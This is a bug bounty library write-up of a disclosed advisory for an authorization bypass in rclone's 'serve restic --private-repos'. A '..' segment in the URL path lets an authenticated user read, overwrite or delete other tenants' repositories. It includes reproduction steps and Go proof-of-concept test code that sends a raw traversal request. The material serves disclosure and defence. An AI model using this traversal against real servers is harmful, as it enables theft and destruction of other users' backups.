# rclone `serve restic --private-repos` authorization bypass: `..` in the URL path lets an authenticated user read, overwrite and delete other users' repositories

In rclone serve restic --private-repos, an authenticated user sends `/me/../victim/config`; checkPrivate authorizes on the route param while WithRemote passes the uncleaned path to the backend, enabling cross-tenant read/overwrite/delete.

- Payout: Research
- Severity: high
- Program: rclone
- Found by: 5ud0er
- Disclosed: 2026-08-05
- CVE: CVE-2026-59733
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-fqj9-69pf-6pjg
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-fqj9-69pf-6pjg
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:go technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:path-traversal

**Target:** rclone serve restic HTTP endpoint with --private-repos and Basic auth
**Root cause:** Two chi middlewares derive identity from different sources: checkPrivate compares the routed {userID} segment to the authenticated user, while WithRemote builds the backend object key from the raw, un-canonicalized URL path. A `..` segment keeps the first segment equal to the attacker's username but collapses to the victim's path on backends using path.Join/path.Clean.
**Steps:**
1. Run `rclone serve restic --private-repos` with Basic auth over a backend that canonicalizes paths (memory, sftp, ftp).
2. Victim stores object at `alice/config`; attacker authenticates as `mallory`.
3. Confirm direct cross-tenant `GET /alice/config` returns `403`.
4. Send raw request-target `GET /mallory/../alice/config` with mallory's Basic auth (e.g. `curl --path-as-is` or raw socket).
5. Observe `200 OK` and victim's object body; repeat with `POST` to overwrite and `DELETE` to remove victim objects.
**How found:** Noticed the flag's isolation is enforced by two middlewares reading the path from different sources, and that WithRemote never calls path.Clean or rejects `..`; hypothesized the routed {userID} and the backend remote could diverge, then confirmed via instrumentation and a raw-socket PoC.
**Exploitation:** Any authenticated tenant sends a raw HTTP request-target containing `..` after their own username segment. checkPrivate sees userID=mallory and authorizes; WithRemote stores remote `mallory/../alice/config`, which the backend collapses to `alice/config`. GET leaks victim config/keys/packs, POST overwrites (unless --append-only), DELETE destroys backups (unless --append-only).
**Escalation:** Same primitive applies to GET, POST and DELETE handlers, giving read, overwrite and delete across all tenants on the server; --append-only only blocks writes, not reads.
**Insight:** When an authz check and a resource lookup both consume the same URL path, verify they consume the *same canonicalized* value — route params and raw r.URL.Path can diverge on `..`, encoded slashes, or duplicate separators. Test with `curl --path-as-is` since normal clients normalize before sending.

## Proof of concept (copied exactly from the original report)

**Raw bypass request GET /mallory/../alice/config**

```
r3 := rawReq(t, addr, "GET", "/mallory/../alice/config", "mallory", "password")
	leaked := strings.Contains(pocBody(r3), secret)
	t.Logf("[BYPASS]         GET /mallory/../alice/config     -> %s  leaked=%v body=%q", pocStatus(r3), leaked, pocBody(r3))

	require.Equalf(t, "HTTP/1.1 200 OK", pocStatus(r3), "expected the bypass to return alice's object")
	require.Truef(t, leaked, "expected to read alice's secret config across the tenant boundary")
```

**Raw socket request helper preserving dot-dot**

```
func rawReq(t *testing.T, addr, method, target, user, pass string) string {
	conn, err := net.Dial("tcp", addr)
	require.NoError(t, err)
	defer func() { _ = conn.Close() }()
	cred := pocBasicAuth(user, pass)
	req := fmt.Sprintf("%s %s HTTP/1.1\r\nHost: x\r\nAuthorization: Basic %s\r\nConnection: close\r\n\r\n", method, target, cred)
	_, err = conn.Write([]byte(req))
	require.NoError(t, err)
	r := bufio.NewReader(conn)
	var sb strings.Builder
	buf := make([]byte, 8192)
	for {
		n, err := r.Read(buf)
		if n > 0 {
			sb.Write(buf[:n])
		}
		if err != nil {
			break
		}
	}
	return sb.String()
}
```

